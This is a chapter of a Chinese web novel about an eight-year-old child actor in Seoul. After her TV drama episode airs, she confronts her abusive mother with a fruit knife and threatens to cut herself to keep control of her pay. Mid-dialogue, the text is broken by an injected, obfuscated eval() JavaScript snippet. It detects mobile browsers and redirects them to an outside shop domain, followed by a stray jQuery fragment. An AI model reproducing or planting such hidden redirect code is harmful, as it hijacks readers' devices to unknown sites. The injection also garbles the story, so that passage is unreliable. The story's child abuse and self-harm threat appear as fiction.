拍好的剧情经过剪辑、后期和审核,大概要两个星期才播。四月中旬,小丹终于第一次出场。
首尔钟路一家不大的汤饭馆里,电视机挂在墙角,声音开得很响。晚上九点半,客人已经不多,老板娘一边收碗,一边看《思母曲》。小丫鬟抱着药碗出现,她起初并没有在意,直到管事婆子把人拦住,声音陡然抬高。
“这小女孩是谁?”靠墙坐着的客人问。
“不知道,今天第一次见。”老板娘抬头看了一眼,“之前没有。”
镜头切到小丹的脸,孩子低着头,单薄的肩膀缩在灰扑扑的衣服里,谎话说得毫无底气。管事婆子的手扬起来,巴掌落下去,后期补过的声音清脆得吓人。小丹往后踉跄了两步,眼泪已经涌了出来,怀里却还死死抱着那只空药碗。
饭馆里有两桌人同时抬起了头。
差不多同一时间,永登浦的一间公寓里,家庭主妇金智英正和家人一起看《思母曲》。自从这个剧2月首播以来,她几乎一集没落。昨天,万江被打到起不来床,她今天一整天做事都心不在焉,一直惦记着宝玉到底会不会管他。
看见小丫鬟端着药出现,她立刻坐直了一些:“我就知道。宝玉嘴上不说,怎么可能真不管万江?”
小丹在剧里没有多少用处。她年纪小,嘴也不严,被管事婆子吓了两句就说漏了宝玉。可那张脸实在让人无法责怪。孩子挨过一巴掌,眼睛里含着泪,明明怕得发抖,还坚持把责任往自己身上揽。
金智英没有女儿,只有个淘气的儿子,看得心都软了:“这么点孩子,怎么下得去手?”她不满地说,“这管事婆子心也太狠了。”
十点钟,一集结束,片尾的演员表里出现了一行小字:小丹——李夕昭。金智英把这个名字念了一遍。
KBS值班总机当晚接到了十几通与小丹有关的电话。大多数是质疑电视台是否在拍戏过程中虐待儿童;也有人问李夕昭是谁,以前是不是拍过广告。十几通电话放在一部热播日日剧里算不了什么,宝玉和万江每天收到的来信要多得多。负责记录的职员在当天的反馈表上写了一行:观众来电询问新出现的小丫鬟。
第二天,统计好的收视率被送进制作办公室。昨天一集的收视率是41.7%,再破前高。这意味着,全韩八百六十万台电视机,有三百六十万台昨天晚上在放《思母曲》。保守估计,近一千万人看到了小丹的脸。绝大多数人第二天就忘了她。当然,也有人记住了。
金昌赫接到了副导演申东圭的第二通电话。对方是打电话来致谢的,播出效果不错,导演也很满意。“你推荐的孩子真不错,长得好,演得好,也能吃苦。借位一直躲,最后自己要求实打。吴红一共打了两遍,片场的人都记住她了。”
金昌赫握着听筒,半天没有说话。他昨天晚上就看出来是真打。申东圭听出他的沉默,解释说力道很轻,脸既没红也没肿。孩子的母亲当时就在现场,也是她点的头。他说完又夸了一遍李夕昭,说以后有机会还可以合作。
金昌赫附和了几句,挂断了电话。
他做演员快二十年,感冒发烧、带伤也要继续拍,都是常有的事。扇个巴掌在这一行远远算不上大事。李夕昭知道自己借位完成不好,主动选了最省时间、也最容易保证效果的办法,从一个演员的角度看,这个判断甚至称得上聪明。
可是她才八岁。
学校里,李夕昭一走进教室就被围住了。前桌的朴恩珠格外兴奋,不停地问:“李夕昭,你是不是上电视了?昨天晚上的《思母曲》,我看那个小丫鬟就像你,我特意等到片尾曲看演员名单,你就是小丹!”
李夕昭对她的兴奋有点意外,笑着点点头。朴恩珠更激动了:“拍电视剧好玩吗?宝玉和电视上差别大吗?我听说她才18岁,是个高中生,是真的吗?”其他的同学也都围在课桌边,七嘴八舌地提问。金载宪把书重重地放在桌上,说:“你们好吵。”
他的脸色实在不太好看,老师也进门了,同学们只好忿忿地散开。
李夕昭不解,偏头看他。他低头摆弄文具,不跟她对视。李夕昭只好探查他的情绪。他很烦躁不安,带点酸涩和苦闷。
金载宪的心情确实很不好。
李夕昭刚搬到金家的时候,他很高兴多了一个妹妹。她安静、漂亮,也不像弟弟那样总惹人生气。他愿意教她认字算数。没想到教着教着,她开学就跳到三年级和自己同学。
同学就算了,她第一次考试就考第一,每门课分数都比他高,显得他好没面子。
关键是,李夕昭上课根本不听讲!天地良心,她在家也不学习,连书都不翻的。最近拍戏请那么多假,她的功课还是很好。金载宪郁闷,郁闷极了。
现在她连演戏都能演得那么好。金载宪其实一直很崇拜父亲,长大之后也想当演员。只是,他一直以为那是大人的事,而李夕昭还比他小两岁,已经可以上电视了。
李夕昭在学校本来关注度就很高。现在她上了电视,认识她的人更多了。金载宪说不清楚自己的感受,就是觉得心里不舒服。
放学铃响以后,李夕昭的书包被几个女生压住,大家还在争她究竟先和谁说话。等她终于脱身,金载宪已经走到校门口。
“你怎么不等我?”她追上去。
“我以为大明星有人送。”
这句话说得阴阳怪气。李夕昭看了他一会儿,想起他早上的情绪。她大概知道他在别扭什么,只是不知道该怎么说。
两个人一起等金载民。等他出来,金载宪习惯性地地把李夕昭的书包拿过去,背到另一边肩上。走出两步,才觉得这个动作很示弱,想还回去已经来不及,只好挺直后背继续走。
李夕昭在后面看着他,终于笑了出来。
她的心情很不错。上辈子,她成绩就很好,这辈子就不用说了,完全是在欺负小学生,学习已经不能带给她成就感。演戏却不同。李夕昭在片场收获的肯定、今天同学们的关注,让她有了“我被看见”的感觉。这感觉太好了。
金慧绣曾经问她喜不喜欢拍戏,那时候她不知道怎么回答,现在她有点喜欢了。
晚饭的时候,一桌人各怀心事,没人说话,只有叮叮当当餐具碰撞的声音。金昌赫把话在心里过了好几遍,还是说了出来:“夕昭,今天副导演给我打电话了。他说你拍挨打的戏,借位拍不好,就跟导演说可以真打。”
宋贞英手里的筷子立刻停住,转头问李夕昭:“你在片场挨的是真打?”
李夕昭正低头吃饭,闻言嗯了一声:“我自己要求的。借位的时候我总想躲。”
“你妈就在旁边?”
“在。”
宋贞英脸色更难看了。她想骂李善美,又觉得当着孩子的面骂她亲生母亲不太合适,最后只问:“你觉得戏比自己的脸还重要?”
“打得很轻。”
“轻也不能真打。今天遇见的人有分寸,下一次呢?”
李夕昭没有反驳。金慧绣已经说过相似的话。她当时答应得很好,心里却不完全认同。如果同样的事情再来一次,她还是会做同样的选择。拍戏的机会难得。没有背景,没有名气,没有经验,拍这点戏份还要耽误全剧组的时间,谁还会用她?何况那几巴掌的力道,实在比李善美平时轻得多。
金载宪抬起她的下巴,把她的脸转来转去:“打的是左边吧?”李夕昭任他看:“这都过去半个月了,早都看不出来了。当时也没什么痕迹。”
金昌赫看着她说:“这一次拍出来的效果很好。你知道自己哪里做不到,也知道怎样最快解决问题,这一点没有错。”
宋贞英不满地看向丈夫。
“但这不是本事。”金昌赫继续说,“真挨一巴掌,谁都会有反应。演员的本事,是别人没碰到你,你也能让观众相信你挨了打。下一次再遇到这种戏,先回来问我。别只顾自己蒙头乱撞。”
李夕昭想了想,点头:“知道了。”
“真知道了?”
“下次先问你。”
这个答案还算过得去。宋贞英仍不满意,又叮嘱了一大串,金载宪也在旁边搭腔,母子两个仿佛在唱二人转。李夕昭低头喝汤,没接话。她心里在盘算另一件更现实的事。
片酬。
两万五千韩元的片酬,折合人民币不到100元。这钱不算多,但重点是李夕昭现在未成年,账户由监护人接管,而她不想让李善美拿到一分钱。
“片酬下来以后,阿姨收着吧。”她说。
宋贞英以为自己听错了:“什么?”
“我的片酬应该给阿姨收着。我住在这里,也在这里吃饭。你才是实际监护人。”
“你妈妈每个月给生活费。”
“那些钱不够。”
宋贞英没有否认。李善美给的生活费只够应付最基本的伙食,衣服、课本、玩具和其他费用大多还是金家在出。她不在意这点钱,却没想到李夕昭一直记得。
“那也轮不到你操心。”宋贞英说,“你才挣几个钱,自己留着。”
“我住这里,应该交钱。”
她说得太认真,宋贞英一时不知道该怎么回答。她心里明白,李夕昭是个特别早熟、自尊心很强的孩子。她可以吃金家的饭,也肯穿她买的衣服,可是每一次接受都像在心里记下一笔账。她始终怕自己欠的太多。
“片酬先存着。”金昌赫说,“真要算,等你挣得比我们多了再算。”
“那要等很久吗?”
金昌赫笑了:“口气倒不小。”
李夕昭没有笑。她并不觉得这件事还能再拖。如果金慧绣提到的机会她能把握住,她很快会赚到一大笔钱。在这之前,她要让李善美失去对她账户的控制权。
她软磨硬泡,宋贞英最终同意替她保管存折,但是担心李善美不会同意。
李夕昭说:“放心吧。我回家跟她说。”
李善美正在卧室里换衣服。床上摊着两条裙子,梳妆台旁边还放着没收起来的行李箱,里面装了几件适合春天穿的衣服。她最近出门比过去勤,回家也越来越少。看见女儿进来,她先问:“片酬什么时候到账?”
“下个月十五号以前。”
“材料我已经交了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949182|214125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钱会先打到我的账户。”李善美对着镜子戴耳环,仿佛这件事根本不需要商量,“一共两万五,没多少钱。养你这么多年,总算能有点回报。”
“我要另外开户。”
李善美的手停了一下,从镜子里看她:“你说什么?”
“用我的名字开户。你接送我、替我买衣服花了多少钱,可以从片酬里扣。剩下的钱存进去,存折和印章交给宋阿姨保管。”
卧室里安静了几秒。李善美转过身来:“谁教你说这些的?宋贞英?”
“我自己想的。”
“你才八岁,知道什么账户、存折?”
“我知道的,比你想象的要多。”
李善美盯着她,脸色一点点沉下来:“我是你妈妈,也是你的监护人。别说两万五千块,你以后挣的每一分钱都该由我管。你住在金家几个月,就真把自己当成他们家的孩子了?”
李夕昭站在门边,没有往里走。上楼以前,她已经把一楼通往院子的侧门推开了,走廊里也没有会绊住脚的东西。从这里下楼、穿过院子到金家,用不了一分钟。袖子里,是她从厨房拿的水果刀。
“我住在金家,吃他们家的饭,当然应该把钱给他们。”
“那是他们自己愿意的。金昌赫家里又不缺这点钱。”李善美冷笑,“你拍戏的机会还是我同意的。没有我签字,你连摄影棚都进不去。衣服是我挑的,剧组也是我带你去的。现在有了钱,你倒知道防着我了。”
李善美走过来,伸手要抓她的胳膊。李夕昭退到走廊,把刀拿了出来。
这感觉并不陌生。王婷也曾经拿刀对着她的父亲。李夕昭脑子里闪过前世的画面,父亲的形象和李善美的形象交织在一起。今天的她,比当年年纪要小很多,不过,应该也足够吓住李善美。
李善美的脚停住了。
“你想干什么?”
李善美脸上先是震惊,随后是被冒犯的愤怒。“这是谁教你的?你以为拿把刀就能吓住我?”
“能不能吓住,试试就知道了。”李夕昭往楼梯下看了一眼,“侧门开着。金叔叔和宋阿姨知道我回来跟你谈片酬。医院有我以前的病历,警察也问过我身上的伤是谁弄的。你现在打我,我就划自己一刀跑出去。到时候你慢慢解释。毕竟,这也不是第一次了,不是吗?”
李夕昭背后的伤疤,正是上一次李善美发疯的时候拿刀留下的。
李善美顺着她的视线看向楼下。春天的风从打开的侧门灌进来,门轴偶尔发出轻响。她没有再往前走:“你到底想怎么样?”
“片酬存在我名下,存折和印章放在金家。以后都是这样。”
李善美像是听见了笑话:“凭什么?没有我,你能认识导演?能签合同?能去片场?”
“话要说清楚,这机会不是你给的,是金叔叔给的。没有我,你也拿不到下一份片酬。”李夕昭继续说:“如果片酬要交给你,我以后就不演戏了。你拿不到钱,我也没有角色,大家都省事。”
“你不是很想演戏吗?”
“是啊。”李夕昭承认得很痛快,“但是我等得起。我可以到20岁之后再演。如果现在我演戏,你拿钱,我宁可不演。”
李善美看着楼梯上的孩子,很久没有说话。
“就为了两万五千块,你拿刀对着亲生母亲?”
“你我心里都清楚,不是两万五的事儿。”李夕昭说,“是以后的每一笔钱,你都拿不到。”
李善美捂着胸口,好像很伤心的样子:“你怎么会这样对我?我是你妈妈啊。”
李夕昭觉得很好笑,她不想跟沉浸在受害者幻想中的人多费口舌:“警察问我的时候,我什么也没说,已经是我给你留的母女情份了。这辈子,我们就这样吧,谁也别干涉谁。你再碰我一下,我保证把之前的事全说出来。”
李善美的脸色变得很难看。李夕昭动用了情绪回声。她的情绪乱七八糟,夹杂着心虚、震惊、失望、释然,奇怪的是,居然还有一丝谢意和轻松。李夕昭很困惑,这可能是金手指第一次失效。
“把刀放下。”李善美说,“我同意了,照你说的办。”
“写下来。”
李善美气得笑了一声:“你还真怕我骗你。”她回卧室找纸笔,简单写了几句话,签过名字,按过手印,把纸折起来扔给李夕昭。李夕昭依旧没有放下水果刀,她一步一步退下楼。
走到客厅门前时,李善美忽然叫住她:“夕昭。”
李夕昭回过头。
李善美站在二楼栏杆后面,垂眼看着她。那一瞬间,她脸上的神情很复杂。
李夕昭没有试探她的情绪。李善美已经再也不值得浪费她的时间。
第二天,李善美依照约定去了银行,又在宋贞英准备的片酬保管说明上签了字。
当晚,李善美一个人在客厅里坐了很久。茶几上放着银行留下的复写单,她翻来覆去看了几遍,终于拿起电话,拨出一个已经记熟的号码。
“东植,是我。”她说,“你上次说的事,我考虑好了。”她露出一个苦涩的笑:“我们去美国吧。”